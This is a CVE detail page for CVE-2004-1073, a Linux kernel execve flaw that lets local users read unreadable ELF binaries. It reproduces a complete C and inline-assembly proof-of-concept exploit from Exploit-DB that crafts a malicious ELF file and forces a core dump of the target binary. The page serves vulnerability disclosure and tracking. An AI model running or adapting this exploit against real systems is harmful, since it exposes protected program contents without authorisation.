CVE-2004-1073 Detail

CVE-2004-1073

EPSS

0.04%V3

Vector

Local

Published

2004-12-01
04h00 +00:00

Modified

2017-10-09
22h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

The open_exec function in the execve functionality (exec.c) in Linux kernel 2.4.x up to 2.4.27, and 2.6.x up to 2.6.8, allows local users to read non-readable ELF binaries by using the interpreter (PT_INTERP) functionality.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	2.1		AV:L/AC:L/Au:N/C:P/I:N/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 624

Publication date : 2004-11-09 23h00 +00:00
Author : Paul Starzetz
EDB Verified : Yes

/* * * binfmt_elf executable file read vulnerability * * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/wait.h> #include <linux/elf.h> #define BADNAME "/tmp/_elf_dump" void usage(char *s) { printf("\nUsage: %s executable\n\n", s); exit(0); } // ugly mem scan code :-) static volatile void bad_code(void) { __asm__( // "1: jmp 1b \n" " xorl %edi, %edi \n" " movl %esp, %esi \n" " xorl %edx, %edx \n" " xorl %ebp, %ebp \n" " call get_addr \n" " movl %esi, %esp \n" " movl %edi, %ebp \n" " jmp inst_sig \n" "get_addr: popl %ecx \n" // sighand "inst_sig: xorl %eax, %eax \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" "ld_page: movl %ebp, %eax \n" " subl %edx, %eax \n" " cmpl $0x1000, %eax \n" " jle ld_page2 \n" // mprotect " pusha \n" " movl %edx, %ebx \n" " addl $0x1000, %ebx \n" " movl %eax, %ecx \n" " xorl %eax, %eax \n" " movb $125, %al \n" " movl $7, %edx \n" " int $0x80 \n" " popa \n" "ld_page2: addl $0x1000, %edi \n" " cmpl $0xc0000000, %edi \n" " je dump \n" " movl %ebp, %edx \n" " movl (%edi), %eax \n" " jmp ld_page \n" "dump: xorl %eax, %eax \n" " xorl %ecx, %ecx \n" " movl $11, %ebx \n" " movb $48, %al \n" " int $0x80 \n" " movl $0xdeadbeef, %eax \n" " jmp *(%eax) \n" ); } static volatile void bad_code_end(void) { } int main(int ac, char **av) { struct elfhdr eh; struct elf_phdr eph; struct rlimit rl; int fd, nl, pid; if(ac<2) usage(av[0]); // make bad a.out fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755); nl = strlen(av[1])+1; memset(&eh, 0, sizeof(eh) ); // elf exec header memcpy(eh.e_ident, ELFMAG, SELFMAG); eh.e_type = ET_EXEC; eh.e_machine = EM_386; eh.e_phentsize = sizeof(struct elf_phdr); eh.e_phnum = 2; eh.e_phoff = sizeof(eh); write(fd, &eh, sizeof(eh) ); // section header(s) memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_INTERP; eph.p_offset = sizeof(eh) + 2*sizeof(eph); eph.p_filesz = nl; write(fd, &eph, sizeof(eph) ); memset(&eph, 0, sizeof(eph) ); eph.p_type = PT_LOAD; eph.p_offset = 4096; eph.p_filesz = 4096; eph.p_vaddr = 0x0000; eph.p_flags = PF_R|PF_X; write(fd, &eph, sizeof(eph) ); // .interp write(fd, av[1], nl ); // execable code nl = &bad_code_end - &bad_code; lseek(fd, 4096, SEEK_SET); write(fd, &bad_code, 4096); close(fd); // dump the shit rl.rlim_cur = RLIM_INFINITY; rl.rlim_max = RLIM_INFINITY; if( setrlimit(RLIMIT_CORE, &rl) ) perror("\nsetrlimit failed"); fflush(stdout); pid = fork(); if(pid) wait(NULL); else execl(BADNAME, BADNAME, NULL); printf("\ncore dumped!\n\n"); unlink(BADNAME); return 0; } // milw0rm.com [2004-11-10]